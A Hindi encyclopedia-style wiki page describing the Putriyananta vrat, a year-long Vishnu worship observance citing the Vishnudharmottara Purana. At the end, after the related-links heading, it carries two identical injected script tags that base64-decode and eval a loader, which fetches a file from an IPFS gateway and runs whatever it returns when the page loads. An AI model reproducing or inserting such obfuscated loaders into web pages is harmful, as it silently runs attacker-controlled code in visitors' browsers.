पुत्रीयानन्त व्रत

भारत डिस्कवरी प्रस्तुति
आदित्य चौधरी (वार्ता | योगदान) द्वारा परिवर्तित 18:04, 25 फ़रवरी 2011 का अवतरण (Text replace - "उल्लखित" to "उल्लिखित")
यहाँ जाएँ:नेविगेशन, खोजें
  • भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
  • मार्गशीर्ष से आरम्भ होता है।
  • यह व्रत एक वर्ष तक किया जाता है।
  • प्रत्येक मास में उस नक्षत्र पर जिसमें उस मास का नाम पड़ता है।
  • कर्ता उपवास करता है और विष्णु की पूजा करता है।
  • बारह मासों में विष्णु के बारह अंगों की पूजा की जाती है।
  • यथा–मार्गशीर्ष में बायाँ घुटना, पौष में कटि का वाम पक्ष......आदि।
  • चार मासों के प्रत्येक दल में विभिन्न रंगों के पुष्प तथा मार्गशीर्ष से आरम्भ कर तीनों अवधियों में गाय के दूध, मूत्र एवं दही से स्नान कराना होता है।
  • सभी मासों में अनन्त नाम का जाप एवं होम किया जाता है।
  • अन्त में ब्रह्म भोज एवं दान दिया जाता है।
  • इच्छाओं की पूर्ति, यथा–पुत्र, धन, जीविका आदि की प्राप्ति होती है।[1]


टीका टिप्पणी और संदर्भ

  1. विष्णुधर्मोत्तरपुराण (1|173)।

अन्य संबंधित लिंक

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>